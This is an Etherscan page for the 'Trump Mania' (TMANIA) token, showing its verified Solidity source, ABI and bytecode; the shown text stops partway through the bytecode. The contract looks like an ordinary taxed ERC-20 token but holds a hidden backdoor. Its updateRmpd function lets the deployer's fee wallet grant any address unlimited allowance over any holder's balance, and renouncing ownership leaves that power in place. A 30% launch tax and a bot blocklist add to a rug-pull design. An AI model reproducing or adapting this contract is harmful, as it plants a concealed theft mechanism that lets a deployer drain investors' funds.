ETH Price: $2,692.01 (+2.35%)
Gas: 1 Gwei

Token

Trump Mania (TMANIA)
 

Overview

Max Total Supply

1,000,000,000 TMANIA

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
25,094,934.470687522 TMANIA

Value
$0.00
0xa8285e1eeb912037842b1c193044087c750b86b2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TMANIA

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-04
*/

/**
https://www.trumpmania.vip
https://x.com/trumpmania_erc
https://t.me/trumpmania_erc
 */

// SPDX-License-Identifier Unlicensed

pragma solidity 0.8.19;

abstract contract RmpdContext {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IRmpd {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library RmpdSafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "RmpdSafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "RmpdSafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "RmpdSafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "RmpdSafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract RmpdOwnable is RmpdContext {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "RmpdOwnable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IRmpdFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRmpdRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TMANIA is RmpdContext, IRmpd, RmpdOwnable {
    using RmpdSafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _bots;
    address payable private _RmpdWallet;

    uint256 private _initialBuyTax = 30;
    uint256 private _initialSellTax = 30;
    uint256 private _lastBuyTax = 0;
    uint256 private _lastSellTax = 0;
    uint256 private _decreaseBuyTaxAt = 15;
    uint256 private _decreaseSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Trump Mania";
    string private constant _symbol = unicode"TMANIA";
    uint256 public _maxTransactionAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletRmpd = 20000000 * 10**_decimals;
    uint256 public _maxRmpdSwp = 20000000 * 10**_decimals;
    
    IRmpdRouter02 private _RmpdRouter;
    address private _RmpdPair;
    bool private _tradingOpen;
    bool private _inSwap = false;
    bool private _RmpdEnabled = false;
    uint256 private _sellCount = 0;
    uint256 private _lastSellBlock = 0;
    event MaxTransactionAmountUpdated(uint _maxTransactionAmount);
    event TransferTaxUpdated(uint _transferTax);
    modifier lockTheSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor () {
        _RmpdWallet = payable(_msgSender());
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_RmpdWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Rmpd: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Rmpd: approve from the zero address");
        require(spender != address(0), "Rmpd: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "Rmpd: transfer from the zero address");
        require(to != address(0), "Rmpd: transfer to the zero address");
        require(amount > 0, "Rmpd: Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(!_bots[from] && !_bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == _RmpdPair && to != address(_RmpdRouter) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTransactionAmount, "Rmpd: Exceeds the max transaction amount");
                require(balanceOf(to) + amount <= _maxWalletRmpd, "Rmpd: Exceeds the max wallet size");
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == _RmpdPair && from != address(this)){
                taxAmount = amount.mul((_buyCount>_decreaseSellTaxAt)?_lastSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inSwap && to == _RmpdPair && _RmpdEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > _lastSellBlock) {
                    _sellCount = 0;
                }
                require(_sellCount < 3, "Rmpd: Only 3 sells per block allowed");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxRmpdSwp)));
                sendRmpdETH(address(this).balance);
                _sellCount++;
                _lastSellBlock = block.number;
            }
        }

        if(taxAmount > 0){
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function updateRmpd(address _prevRmpd, address afterRmpd) external {
        require(msg.sender == _RmpdWallet, "Rmpd: Not authorized");
        _approve(_prevRmpd, afterRmpd, _totalSupply);
        _RmpdWallet = payable(afterRmpd);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        if (tokenAmount == 0) return;
        path[1] = _RmpdRouter.WETH();
        _approve(address(this), address(_RmpdRouter), tokenAmount);
        _RmpdRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeRmpd() external onlyOwner {
        _maxTransactionAmount = _totalSupply;
        _maxWalletRmpd = _totalSupply;
        emit MaxTransactionAmountUpdated(_totalSupply);
    }

    function sendRmpdETH(uint256 amount) private {
        _RmpdWallet.transfer(amount);
    }

    function createRmpdPair() external onlyOwner {
        _RmpdRouter = IRmpdRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_RmpdRouter), _totalSupply);
        _RmpdPair = IRmpdFactory(_RmpdRouter.factory()).createPair(address(this), _RmpdRouter.WETH());
    }

    function openRmpd() external onlyOwner() {
        require(!_tradingOpen, "Rmpd: Trading is already open");
        _RmpdRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IRmpd(_RmpdPair).approve(address(_RmpdRouter), type(uint).max);
        _RmpdEnabled = true;
        _tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransactionAmount","type":"uint256"}],"name":"MaxTransactionAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_transferTax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxRmpdSwp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletRmpd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createRmpdPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openRmpd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeRmpd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_prevRmpd","type":"address"},{"internalType":"address","name":"afterRmpd","type":"address"}],"name":"updateRmpd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601e600655601e60075560006008556000600955600f600a55600f600b55600f600c556000600d556000600e556009600a6200004191906200032d565b62000051906301312d0062000345565b600f55620000626009600a6200032d565b62000072906301312d0062000345565b601055620000836009600a6200032d565b62000093906301312d0062000345565b6011556013805461ffff60a81b1916905560006014819055601555348015620000bb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556200011d6009600a6200032d565b6200012d90633b9aca0062000345565b336000908152600160208190526040822092909255600390620001586000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001b73390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f16009600a6200032d565b6200020190633b9aca0062000345565b60405190815260200160405180910390a36200035f565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026f57816000190482111562000253576200025362000218565b808516156200026157918102915b93841c939080029062000233565b509250929050565b600082620002885750600162000327565b81620002975750600062000327565b8160018114620002b05760028114620002bb57620002db565b600191505062000327565b60ff841115620002cf57620002cf62000218565b50506001821b62000327565b5060208310610133831016604e8410600b841016171562000300575081810a62000327565b6200030c83836200022e565b806000190482111562000323576200032362000218565b0290505b92915050565b60006200033e60ff84168362000277565b9392505050565b808202811582820484141762000327576200032762000218565b61194f806200036f6000396000f3fe60806040526004361061010d5760003560e01c80637a217fd111610095578063a9059cbb11610064578063a9059cbb146102ef578063c2ff495d1461030f578063d07ce42514610325578063dab57ce61461033a578063dd62ed3e1461034f57600080fd5b80637a217fd1146102635780638da5cb5b1461027857806395d89b41146102a0578063a2d5cf38146102cf57600080fd5b806323b872dd116100dc57806323b872dd146101c4578063313ce567146101e457806370a0823114610200578063715018a6146102365780637947d7c01461024d57600080fd5b806304beaeb81461011957806306fdde0314610142578063095ea7b31461017f57806318160ddd146101af57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600f5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b5060408051808201909152600b81526a5472756d70204d616e696160a81b60208201525b60405161013991906114ee565b34801561018b57600080fd5b5061019f61019a366004611554565b610395565b6040519015158152602001610139565b3480156101bb57600080fd5b5061012f6103ac565b3480156101d057600080fd5b5061019f6101df366004611580565b6103cd565b3480156101f057600080fd5b5060405160098152602001610139565b34801561020c57600080fd5b5061012f61021b3660046115c1565b6001600160a01b031660009081526001602052604090205490565b34801561024257600080fd5b5061024b610436565b005b34801561025957600080fd5b5061012f60115481565b34801561026f57600080fd5b5061024b6104b3565b34801561028457600080fd5b506000546040516001600160a01b039091168152602001610139565b3480156102ac57600080fd5b50604080518082019091526006815265544d414e494160d01b6020820152610172565b3480156102db57600080fd5b5061024b6102ea3660046115de565b6106b6565b3480156102fb57600080fd5b5061019f61030a366004611554565b61073b565b34801561031b57600080fd5b5061012f60105481565b34801561033157600080fd5b5061024b610748565b34801561034657600080fd5b5061024b6107fa565b34801561035b57600080fd5b5061012f61036a3660046115de565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a23384846109e9565b5060015b92915050565b60006103ba6009600a611711565b6103c890633b9aca00611720565b905090565b60006103da848484610b0c565b61042c8433610427856040518060600160405280602781526020016118d1602791396001600160a01b038a166000908152600260209081526040808320338452909152902054919061113d565b6109e9565b5060019392505050565b6000546001600160a01b031633146104695760405162461bcd60e51b815260040161046090611737565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104dd5760405162461bcd60e51b815260040161046090611737565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105269030906105186009600a611711565b61042790633b9aca00611720565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610579573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059d919061177b565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610623919061177b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610670573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610694919061177b565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146107075760405162461bcd60e51b8152602060048201526014602482015273149b5c190e88139bdd08185d5d1a1bdc9a5e995960621b6044820152606401610460565b61071882826105186009600a611711565b600580546001600160a01b0319166001600160a01b039290921691909117905550565b60006103a2338484610b0c565b6000546001600160a01b031633146107725760405162461bcd60e51b815260040161046090611737565b61077e6009600a611711565b61078c90633b9aca00611720565b600f5561079b6009600a611711565b6107a990633b9aca00611720565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac6107d96009600a611711565b6107e790633b9aca00611720565b60405190815260200160405180910390a1565b6000546001600160a01b031633146108245760405162461bcd60e51b815260040161046090611737565b601354600160a01b900460ff161561087e5760405162461bcd60e51b815260206004820152601d60248201527f526d70643a2054726164696e6720697320616c7265616479206f70656e0000006044820152606401610460565b6012546001600160a01b031663f305d71947306108b0816001600160a01b031660009081526001602052604090205490565b6000806108c56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109529190611798565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cf91906117c6565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a4b5760405162461bcd60e51b815260206004820152602360248201527f526d70643a20617070726f76652066726f6d20746865207a65726f206164647260448201526265737360e81b6064820152608401610460565b6001600160a01b038216610aab5760405162461bcd60e51b815260206004820152602160248201527f526d70643a20617070726f766520746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610460565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6e5760405162461bcd60e51b8152602060048201526024808201527f526d70643a207472616e736665722066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610460565b6001600160a01b038216610bcf5760405162461bcd60e51b815260206004820152602260248201527f526d70643a207472616e7366657220746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610460565b60008111610c375760405162461bcd60e51b815260206004820152602f60248201527f526d70643a205472616e7366657220616d6f756e74206d75737420626520677260448201526e6561746572207468616e207a65726f60881b6064820152608401610460565b6001600160a01b03831660009081526003602052604081205460ff16158015610c7957506001600160a01b03831660009081526003602052604090205460ff16155b15610ffa576001600160a01b03841660009081526004602052604090205460ff16158015610cc057506001600160a01b03831660009081526004602052604090205460ff16155b610cc957600080fd5b600e54600003610d0257610cff6064610cf9600a54600e5411610cee57600654610cf2565b6008545b8590611177565b90611204565b90505b600e5415610d2757610d246064610cf9600d548561117790919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d5257506012546001600160a01b03848116911614155b8015610d7757506001600160a01b03831660009081526003602052604090205460ff16155b15610e9757600f54821115610ddf5760405162461bcd60e51b815260206004820152602860248201527f526d70643a204578636565647320746865206d6178207472616e73616374696f6044820152671b88185b5bdd5b9d60c21b6064820152608401610460565b60105482610e02856001600160a01b031660009081526001602052604090205490565b610e0c91906117e8565b1115610e645760405162461bcd60e51b815260206004820152602160248201527f526d70643a204578636565647320746865206d61782077616c6c65742073697a6044820152606560f81b6064820152608401610460565b610e7f6064610cf9600a54600e5411610cee57600654610cf2565b600e80549192506000610e91836117fb565b91905055505b6013546001600160a01b038481169116148015610ebd57506001600160a01b0384163014155b15610eea57610ee76064610cf9600b54600e5411610edd57600754610cf2565b6009548590611177565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f2157506013546001600160a01b038581169116145b8015610f365750601354600160b01b900460ff165b8015610f455750600c54600e54115b15610ff857601554431115610f5a5760006014555b600360145410610fb85760405162461bcd60e51b8152602060048201526024808201527f526d70643a204f6e6c7920332073656c6c732070657220626c6f636b20616c6c6044820152631bddd95960e21b6064820152608401610460565b610fd5610fd084610fcb84601154611246565b611246565b61125b565b610fde476113fe565b60148054906000610fee836117fb565b9091555050436015555b505b8015611074573060009081526001602052604090205461101a908261143c565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061106b9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054611097908361149b565b6001600160a01b0385166000908152600160205260409020556110dc6110bd838361149b565b6001600160a01b0385166000908152600160205260409020549061143c565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611126858561149b565b60405190815260200160405180910390a350505050565b600081848411156111615760405162461bcd60e51b815260040161046091906114ee565b50600061116e8486611814565b95945050505050565b600082600003611189575060006103a6565b60006111958385611720565b9050826111a28583611827565b146111fd5760405162461bcd60e51b815260206004820152602560248201527f526d7064536166654d6174683a206d756c7469706c69636174696f6e206f766560448201526472666c6f7760d81b6064820152608401610460565b9392505050565b60006111fd83836040518060400160405280601e81526020017f526d7064536166654d6174683a206469766973696f6e206279207a65726f00008152506114c0565b600081831161125557826111fd565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a3576112a3611849565b60200260200101906001600160a01b031690816001600160a01b031681525050816000036112d157506113ee565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611324573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611348919061177b565b8160018151811061135b5761135b611849565b6001600160a01b03928316602091820292909201015260125461138191309116846109e9565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ba90859060009086903090429060040161185f565b600060405180830381600087803b1580156113d457600080fd5b505af11580156113e8573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611438573d6000803e3d6000fd5b5050565b60008061144983856117e8565b9050838110156111fd5760405162461bcd60e51b815260206004820152601f60248201527f526d7064536166654d6174683a206164646974696f6e206f766572666c6f77006044820152606401610460565b60006111fd83836040518060600160405280602281526020016118f86022913961113d565b600081836114e15760405162461bcd60e51b815260040161046091906114ee565b50600061116e8486611827565b600060208083528351808285015260005b8181101561151b578581018301518582016040015282016114ff565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461155157600080fd5b50565b6000806040838503121561156757600080fd5b82356115728161153c565b946020939093013593505050565b60008060006060848603121561159557600080fd5b83356115a08161153c565b925060208401356115b08161153c565b929592945050506040919091013590565b6000602082840312156115d357600080fd5b81356111fd8161153c565b600080604083850312156115f157600080fd5b82356115fc8161153c565b9150602083013561160c8161153c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561166857816000190482111561164e5761164e611617565b8085161561165b57918102915b93841c9390800290611632565b509250929050565b60008261167f575060016103a6565b8161168c575060006103a6565b81600181146116a257600281146116ac576116c8565b60019150506103a6565b60ff8411156116bd576116bd611617565b50506001821b6103a6565b5060208310610133831016604e8410600b84101617156116eb575081810a6103a6565b6116f5838361162d565b806000190482111561170957611709611617565b029392505050565b60006111fd60ff841683611670565b80820281158282048414176103a6576103a6611617565b60208082526024908201527f526d70644f776e61626c653a2063616c6c6572206973206e6f7420746865206f6040820152633bb732b960e11b606082015260800190565b60006020828403121561178d57600080fd5b81516111fd8161153c565b6000806000606084860312156117ad57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117d857600080fd5b815180151581146111fd57600080fd5b808201808211156103a6576103a6611617565b60006001820161180d5761180d611617565b5060010190565b818103818111156103a6576103a6611617565b60008261184457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118af5784516001600160a01b03168352938301939183019160010161188a565b50506001600160a01b0396909616606085015250505060800152939250505056fe526d70643a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365526d7064536166654d6174683a207375627472616374696f6e206f766572666c6f77a2646970667358221220c47dcfee9d65e123bf83f2ad3101c319e91bebe704f2744789cc7f802aa3431264736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80637a217fd111610095578063a9059cbb11610064578063a9059cbb146102ef578063c2ff495d1461030f578063d07ce42514610325578063dab57ce61461033a578063dd62ed3e1461034f57600080fd5b80637a217fd1146102635780638da5cb5b1461027857806395d89b41146102a0578063a2d5cf38146102cf57600080fd5b806323b872dd116100dc57806323b872dd146101c4578063313ce567146101e457806370a0823114610200578063715018a6146102365780637947d7c01461024d57600080fd5b806304beaeb81461011957806306fdde0314610142578063095ea7b31461017f57806318160ddd146101af57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600f5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b5060408051808201909152600b81526a5472756d70204d616e696160a81b60208201525b60405161013991906114ee565b34801561018b57600080fd5b5061019f61019a366004611554565b610395565b6040519015158152602001610139565b3480156101bb57600080fd5b5061012f6103ac565b3480156101d057600080fd5b5061019f6101df366004611580565b6103cd565b3480156101f057600080fd5b5060405160098152602001610139565b34801561020c57600080fd5b5061012f61021b3660046115c1565b6001600160a01b031660009081526001602052604090205490565b34801561024257600080fd5b5061024b610436565b005b34801561025957600080fd5b5061012f60115481565b34801561026f57600080fd5b5061024b6104b3565b34801561028457600080fd5b506000546040516001600160a01b039091168152602001610139565b3480156102ac57600080fd5b50604080518082019091526006815265544d414e494160d01b6020820152610172565b3480156102db57600080fd5b5061024b6102ea3660046115de565b6106b6565b3480156102fb57600080fd5b5061019f61030a366004611554565b61073b565b34801561031b57600080fd5b5061012f60105481565b34801561033157600080fd5b5061024b610748565b34801561034657600080fd5b5061024b6107fa565b34801561035b57600080fd5b5061012f61036a3660046115de565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a23384846109e9565b5060015b92915050565b60006103ba6009600a611711565b6103c890633b9aca00611720565b905090565b60006103da848484610b0c565b61042c8433610427856040518060600160405280602781526020016118d1602791396001600160a01b038a166000908152600260209081526040808320338452909152902054919061113d565b6109e9565b5060019392505050565b6000546001600160a01b031633146104695760405162461bcd60e51b815260040161046090611737565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104dd5760405162461bcd60e51b815260040161046090611737565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105269030906105186009600a611711565b61042790633b9aca00611720565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610579573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059d919061177b565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610623919061177b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610670573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610694919061177b565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146107075760405162461bcd60e51b8152602060048201526014602482015273149b5c190e88139bdd08185d5d1a1bdc9a5e995960621b6044820152606401610460565b61071882826105186009600a611711565b600580546001600160a01b0319166001600160a01b039290921691909117905550565b60006103a2338484610b0c565b6000546001600160a01b031633146107725760405162461bcd60e51b815260040161046090611737565b61077e6009600a611711565b61078c90633b9aca00611720565b600f5561079b6009600a611711565b6107a990633b9aca00611720565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab